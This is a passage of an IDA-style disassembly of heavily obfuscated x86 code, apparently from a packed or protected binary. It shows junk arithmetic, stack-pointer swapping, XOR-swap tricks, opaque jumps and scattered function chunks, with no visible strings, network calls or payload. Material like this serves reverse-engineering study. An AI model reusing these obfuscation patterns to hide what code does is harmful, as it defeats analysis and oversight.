; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_59B6E8:				; CODE XREF: sub_5998AD+BCB5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	edi, ebp
		pop	ebp
		push	ebx
		jmp	loc_59FEEE
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59B701:				; CODE XREF: sub_5A477C-5EDAj
					; sub_5A2AFE+5771j
		push	edx
		jmp	loc_5A245B
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59B707:				; CODE XREF: sub_5A2E28-9CCAj
					; sub_59EE3E+F666j
		add	ecx, 5F26003Ch
		jmp	loc_59AB74
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59B712:				; CODE XREF: sub_5A5EFF-61A9j
		push	1C7Ah
		mov	[esp+0], edi
		jmp	loc_5AA20B
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_59B71F:				; CODE XREF: sub_5AC18D-226Bj
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_5A1EA0
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_59B72C:				; CODE XREF: sub_5A54C9+16j
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		push	ecx
		mov	ecx, 2F1B0202h
		mov	ebp, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A602D
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59B749:				; CODE XREF: sub_5A79BE+3B7Ej
		neg	esi
		and	esi, 65CA590Dh
		dec	esi
		jmp	loc_5AD157
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B757:				; CODE XREF: sub_5AA2D1-E5A3j
					; sub_5A118F+1F80j
		mov	[esp+4+var_4], edx
		jmp	loc_5A9DB5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_59B75F:				; CODE XREF: sub_5AE9FA+14ECj
		add	esi, 8FD6658h
		sub	edi, esi
		pop	esi
		push	edx
		mov	edx, 5C781499h
		add	edx, 17670111h
		jno	loc_5AB869
		shr	edx, 8
		jmp	sub_5A5824
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5A93AD
; ---------------------------------------------------------------------------


loc_59B788:				; CODE XREF: sdfs____:005A3C14j
		or	ebp, 57B45EC7h
		push	eax
		jmp	loc_59CBA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54BA


loc_59B794:				; CODE XREF: sub_5A54BA-23CDj
		dec	ebx
		push	384Fh
		mov	[esp+8+var_8], ecx
		jmp	sub_59EE3E
; END OF FUNCTION CHUNK	FOR sub_5A54BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B7A2:				; CODE XREF: sub_5AA2D1-9C32j
		inc	bl
		or	bl, 0B9h
		and	bl, 21h
		jbe	loc_5AE3A6
		add	bl, 24h
		jmp	loc_5A315E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59B7B8:				; CODE XREF: sub_5AD243-12754j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		jmp	loc_5A1F55
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B7CF:				; CODE XREF: sub_5AA2D1-8F3Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		push	192Ah
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A77B2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE4A9


loc_59B7F1:				; CODE XREF: sub_5AE4A9+7j
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+8+var_4]
		pop	ecx
		jmp	loc_5A8734
; END OF FUNCTION CHUNK	FOR sub_5AE4A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59B805:				; CODE XREF: sub_5B01F7-E9A4j
		push	esi
		mov	esi, 2FF13C97h
		sub	esi, 105EEF8Eh
		add	eax, esi
		pop	esi
		jmp	loc_5AC271
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B819:				; CODE XREF: sub_5AA2D1+3096j
		mov	edx, 39FE3E17h
		dec	edx
		sub	edx, 3BD1541Bh
		jnb	loc_5A5C6A
		jmp	loc_5A0D38
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59B830:				; CODE XREF: sub_5AD795-2A23j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	sub_59D6B8
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_59B840:				; CODE XREF: sub_5996E4+FF47j
		shr	edi, 5
		jmp	loc_5AB702
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_59B848:				; CODE XREF: sub_59F4D2-57DCj
		add	ebp, 5CD7631Ah
		mov	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebx, 3EB04299h
		sub	ebx, eax
		push	edi
		mov	edi, 3EB04299h
		jmp	loc_5AA6B9
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_59B869:				; CODE XREF: sub_5ABFD8-FB42j
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp+4+var_4]
		jmp	sub_5A996F
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B879:				; CODE XREF: sdfs____:005A3B5Bj
					; sub_5AA2D1-3DEj
		add	edi, 5D6B6BFAh
		shr	edi, 5
		add	edi, 0FC999A0Dh
		add	edx, edi
		jmp	loc_5AD804
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59B88F:				; CODE XREF: sub_5A9D64-EC47j
		sub	esi, 29821C17h
		add	esi, 297AC749h
		add	ecx, 56EC4E73h
		jmp	loc_5A90B0
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59B8A6:				; CODE XREF: sub_5AA810-B043j
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+4+var_4]
		pop	esp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_59FCDD
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59B8BC:				; CODE XREF: sub_5B01F7:loc_5AAAECj
		dec	ebx
		jg	loc_5A2915
		jmp	loc_5A98D6
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_59B8C8:				; CODE XREF: sub_59D4FD+557Cj
		and	edx, 4F797F8Eh
		jge	loc_5ABB5A
		xor	edx, 4F69038Ch
		jmp	loc_5A2748
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------


loc_59B8DF:				; CODE XREF: sdfs____:0059CB79j
		mov	eax, 0B086181Fh
		add	eax, esi
		pop	esi
		not	eax
		inc	eax
		and	eax, 54791E8Bh
		sub	eax, 60AF5B07h
		xor	eax, 0AFF6EC3h
		sub	edx, eax
		pop	eax
		shr	edx, 7
		push	ebx
		mov	ebx, 7EE51F23h
		jmp	loc_5A7C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2B8


loc_59B90A:				; CODE XREF: sub_59C2B8+Cj
		sub	ebx, 56CB2541h
		sub	ebx, 0C231FFB7h
		jmp	loc_59EDA3
; END OF FUNCTION CHUNK	FOR sub_59C2B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B91B:				; CODE XREF: sub_5A7BA0-DBB3j
					; sub_59D6B8+5981j
		push	14BFh
		mov	[esp+0], ecx
		mov	ecx, 2E1A56A4h
		jmp	loc_5A6489
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B92D:				; CODE XREF: sub_5AA2D1-1BAEj
		pop	edx
		xor	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		jmp	loc_59BB4A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59B939:				; CODE XREF: sub_59F02F+54A7j
		xor	ebp, [esp+10h+var_10]
		pop	esp
		jmp	loc_5A8F30
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5997FD


loc_59B942:				; CODE XREF: sub_5997FD+1963j
		and	ebx, 19233E07h
		add	ebx, 162D77D0h
		jmp	loc_5AD00A
; END OF FUNCTION CHUNK	FOR sub_5997FD
; ---------------------------------------------------------------------------


loc_59B953:				; CODE XREF: sdfs____:0059A646j
		add	ebx, 4
		jmp	loc_59DD9E

; =============== S U B	R O U T	I N E =======================================



sub_59B95E	proc near		; DATA XREF: sdfs____:00598F04o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AD45 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FDAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1008 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1E60 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6F44 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A6FDC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AD5C8 SIZE 0000000E BYTES

		lodsd
		xor	eax, ebx
		push	69C7h
		jmp	loc_5A1008
sub_59B95E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59B96B:				; CODE XREF: sub_5A0FFF+3465j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E7D1929h
		sub	ebx, 4E7D1925h
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		mov	edx, 32A93757h
		neg	edx
		neg	edx
		push	esi
		mov	esi, 5E4E4A15h
		shr	esi, 8
		inc	esi
		xor	esi, 2AC94962h
		not	esi
		jmp	loc_5A36A4
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B9A7:				; CODE XREF: sub_59D6B8+8DBEj
		add	esp, 4
		jmp	loc_5AF547
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59B9B2:				; CODE XREF: sub_59EE3E:loc_599854j
					; sub_5A6B87+Dj
		sub	bx, 86D1h
		push	ebp
		mov	bp, 41A4h
		shr	bp, 3
		add	bp, 21D7h
		sub	ax, bp
		pop	ebp
		sub	ax, 733Eh
		add	ax, bx
		add	ax, 733Eh
		jmp	loc_5A6500
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B9D9:				; CODE XREF: sub_5A54C9+1B3Fj
					; sub_5AA2D1+57A0j
		not	dword ptr [esp+0]
		pop	eax
		add	eax, 3E3C3072h
		ja	loc_5A977E
		sub	eax, 66A339B0h
		jnb	loc_5A66AC
		xor	eax, 0ABDEC484h
		sub	esp, 4
		jmp	loc_5A14DC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E21


loc_59BA03:				; CODE XREF: sub_599E21+1413Ej
		pop	ecx
		pop	dword ptr [esp+0]
		jmp	loc_5AD30D
; END OF FUNCTION CHUNK	FOR sub_599E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_59BA0C:				; CODE XREF: sub_5AC18D-6D68j
		push	51ABh
		mov	[esp+8+var_8], edx
		mov	edx, 38h
		jmp	loc_59A50F
; END OF FUNCTION CHUNK	FOR sub_5AC18D

; =============== S U B	R O U T	I N E =======================================



sub_59BA1E	proc near		; DATA XREF: sdfs____:00598F78o
		neg	word ptr [esp+0]
		pushf
		jmp	loc_59910F
sub_59BA1E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_59BA28:				; CODE XREF: sub_5A765F+4B10j
		mov	edx, [esp+0]
		add	esp, 4
		xor	al, ch
		jmp	loc_5A4B10
; END OF FUNCTION CHUNK	FOR sub_5A765F

; =============== S U B	R O U T	I N E =======================================



sub_59BA35	proc near		; CODE XREF: sub_5A6BBC+4FE1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599ACD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059A4A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B122 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D677 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E358 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A316D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A613A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA160 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB35C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC2B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AF6E7 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	6FD66F5Ah
		mov	eax, [esp+8+var_8]
		add	esp, 4
		or	eax, 508A6FF2h
		jg	loc_5AC2B0
		add	eax, 0A256D9F6h
		sub	esp, 4


loc_59BA5C:				; CODE XREF: sub_5A7762+19j
		add	esi, 3C9C63A7h
		jo	loc_5AF6E7
		or	esi, 3A5807FEh
		jl	sub_59D4FD
		jmp	loc_599ACD
sub_59BA35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC2C0


loc_59BA79:				; CODE XREF: sub_5AC2C0+37j
		pop	edi
		push	edx
		push	6BB0h
		mov	[esp+4+var_4], ebx
		push	edi
		mov	edi, 4A12128Bh
		or	edi, 444332E2h
		xor	edi, 42A49B1h
		mov	ebx, edi
		pop	edi
		jmp	loc_5A924C
; END OF FUNCTION CHUNK	FOR sub_5AC2C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59BA9D:				; CODE XREF: sub_5A2E41+1989j
		jz	loc_5A7E77
		dec	ebx
		jp	loc_5AB685
		and	ebx, 5A1F59BBh
		jmp	loc_59E50D
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BAB5:				; CODE XREF: sub_5AA2D1-519Bj
		add	ecx, ebp
		add	ecx, 750116DBh
		pop	ebp
		sub	ecx, 4
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		xor	ecx, [esp-4+arg_0]
		pop	esp
		jmp	loc_5A193E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59BAD3	proc near		; DATA XREF: sdfs____:00598F9Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599283 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C86E SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A0F30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5662 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6875 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A70FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAB3E SIZE 00000028 BYTES

		push	dword ptr [edi+1Ch]
		jmp	loc_5AAB3E
sub_59BAD3	endp

; ---------------------------------------------------------------------------


loc_59BADB:				; CODE XREF: sdfs____:005ACF9Ej
		push	30DEh
		jmp	loc_5A7E1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59BAE5:				; CODE XREF: sub_5A2E28-432Bj
		jmp	loc_5AEBF9
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59BAEA:				; CODE XREF: sub_5A6BBC-85C3j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	eax, esi
		jmp	loc_5A5FD5
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59BAF7:				; CODE XREF: sub_5992DA+BCB5j
		shl	ecx, 2
		or	ecx, 4B0772FDh
		add	ecx, 1C3E28D6h
		add	ebx, 31F93969h
		sub	ebx, ecx
		sub	ebx, 31F93969h
		jmp	loc_5A82FC
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_59BB19	proc near		; CODE XREF: sub_5A8CA3-7860j

var_4		= dword	ptr -4

		push	ebx
		push	4
		pop	ebx
		add	eax, 4F5E5169h
		add	eax, ebx
		sub	eax, 4F5E5169h
		mov	ebx, [esp+4+var_4]
		jmp	sub_5A2A15
sub_59BB19	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BB34:				; CODE XREF: sub_5AA2D1-DCCFj
		push	esi
		jmp	loc_5ADB6D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59BB3A:				; CODE XREF: sub_5AD795-F773j
		shl	eax, 2
		shr	eax, 3
		and	eax, 3DC1C17h
		jmp	loc_5ADDE4
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BB4A:				; CODE XREF: sub_5AA2D1-E99Dj
		add	esp, 4
		jmp	loc_5A42E8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA26A


loc_59BB52:				; CODE XREF: sub_5AA26A-98EFj
		mov	dl, 8Ch
		mov	cl, 0E4h
		xor	cl, dl
		pop	edx
		push	ax
		mov	ah, 0BEh
		jmp	loc_5A8E0D
; END OF FUNCTION CHUNK	FOR sub_5AA26A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59BB62:				; CODE XREF: sub_5A9EBF-61CBj
		and	esi, 400A7ED0h
		xor	esi, 20EB7EC0h
		jmp	loc_59A472
; END OF FUNCTION CHUNK	FOR sub_5A9EBF

; =============== S U B	R O U T	I N E =======================================



sub_59BB73	proc near		; DATA XREF: sdfs____:00598FD4o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D6AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AF31C SIZE 00000020 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_59D6AB
sub_59BB73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_59BB83:				; CODE XREF: sub_59B3C9+12ECEj
		add	eax, 4
		push	eax
		push	[esp+14h+var_10]
		pop	eax
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		sub	[esp-4+arg_0], eax
		pushf
		jmp	loc_5A30DD
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59BB9D:				; CODE XREF: sub_59D6B8-3E69j
		jg	loc_5A6898
		shl	ebx, 1
		xor	ebx, 3CDF702Dh
		jmp	loc_5A8D14
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59BBB0:				; CODE XREF: sub_5A2E28+325Ej
		not	ecx
		jmp	loc_5A24E7
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599664


loc_59BBB7:				; CODE XREF: sub_599664+F2ABj
		add	esp, 2
		xor	[esp+0], dx
		xor	dx, [esp+0]
		xor	[esp+0], dx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BBCE:				; CODE XREF: sub_5AA2D1:loc_5A2060j
					; sub_5AF2D9-7BBCj
		sub	ecx, ebx
		push	edx
		push	eax
		push	2F69374Ah
		pop	eax
		shr	eax, 3
		jp	loc_5A0D14
		jmp	loc_5A093A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59BBE6:				; CODE XREF: sub_5A580F:loc_59ADABj
		sub	edi, 3B4229CCh
		jno	loc_5A2234
		push	edx
		mov	edx, 3E76B9Ch
		jmp	loc_5A3AD9
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59BBFD:				; CODE XREF: sub_5A0FFF-5FB5j
		sub	ebx, 687937D3h
		add	ebx, ecx
		add	ebx, 687937D3h
		mov	[ebx], dl
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		mov	edx, [esp+0]
		push	edx
		push	esp
		jmp	loc_5AC1A4
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59BC20:				; CODE XREF: sub_5A79BE:loc_5A937Cj
					; sub_5A79BE+6A87j
		jmp	loc_5A5638
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------


loc_59BC25:				; CODE XREF: sdfs____:005A15F0j
		push	0
		add	dword ptr [esp], 0D556BCh
		jmp	loc_5AEF25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_59BC36:				; CODE XREF: sub_5ADD13-12C17j
		mov	[esp-4+arg_0], ebp
		push	[esp-4+arg_4]
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5A1606
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BC48:				; CODE XREF: sub_5AA2D1-E60j
		pop	esp
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		push	dword ptr [esp+0]
		pop	edx
		push	eax
		jmp	loc_599FB4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59BC59:				; CODE XREF: sdfs____:005AFAA4j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 8863145h
		jmp	loc_59CEE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A12E6


loc_59BC76:				; CODE XREF: sub_5A12E6+Aj
		mov	[esp+0], ebp
		push	69B8592Dh
		pop	ebp
		push	esi
		mov	esi, 31023C1h
		xor	ebp, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		neg	ebp
		jmp	loc_5A80D6
; END OF FUNCTION CHUNK	FOR sub_5A12E6

; =============== S U B	R O U T	I N E =======================================



sub_59BC97	proc near		; CODE XREF: sdfs____:005A7317j
					; sub_5A9A8F+5EACj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AEAF1 SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_5AEAF1
sub_59BC97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_59BC9F:				; CODE XREF: sub_5A4886+23A5j
		dec	eax
		shr	eax, 1
		push	esi
		mov	esi, 1F651818h
		neg	esi
		sub	esi, 777EC6E9h
		xor	eax, esi
		pop	esi
		or	eax, 190914D8h
		add	eax, 0A0C04008h
		add	esi, eax
		pop	eax
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		push	1DC4h
		mov	[esp-8+arg_4], eax
		mov	eax, 52595715h
		push	edx
		push	ecx
		mov	ecx, 4A406F38h
		jmp	loc_5A33BD
; END OF FUNCTION CHUNK	FOR sub_5A4886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59BCDF:				; CODE XREF: sub_5B01F7-112D1j
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	word ptr [esp+14h+var_14], dx
		push	ax
		pushf
		jmp	loc_59E9F1
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59BCFA:				; CODE XREF: sub_5A5EFF-E0Cj
		add	ecx, edx
		jmp	loc_5B0342
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------


loc_59BD01:				; CODE XREF: sdfs____:0059CCBDj
		sub	esi, ecx
		pop	ecx
		add	ecx, esi
		pop	esi
		jmp	sub_599B07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0B5D


loc_59BD0C:				; CODE XREF: sub_5A0B5D+CF16j
		pop	eax
		sub	ebx, 72401F68h
		add	ebx, ebp
		jmp	sub_599C9B
; END OF FUNCTION CHUNK	FOR sub_5A0B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59BD1A:				; CODE XREF: sub_5992DA+736Aj
					; sub_5A913B-30C1j
		pop	eax
		jmp	loc_59928B
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BD20:				; CODE XREF: sub_5AA2D1-27EBj
		push	ecx
		push	2CA1h
		mov	[esp+0Ch+var_C], eax
		push	1F70h
		jmp	loc_59B757
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_59BD33:				; CODE XREF: sub_5A2166-303Dj
		mov	ecx, 21406696h
		jmp	loc_5AEF67
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_59BD3D:				; CODE XREF: sub_5A522E+86EFj
		xor	ebx, 2F127573h
		jo	loc_59F62F
		jmp	loc_5A9EA3
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BD4E:				; CODE XREF: sub_5AA2D1-9780j
					; sub_5AA2D1+44Ej
		sub	edi, 69F859DDh
		jmp	loc_5AFD90
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59BD59:				; CODE XREF: sub_5992DA+1895j
		cmp	ecx, eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BD61:				; CODE XREF: sub_5AA2D1-AC61j
		push	36BDh
		mov	[esp+14h+var_14], esi
		push	1178h
		mov	[esp+18h+var_1A+2], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
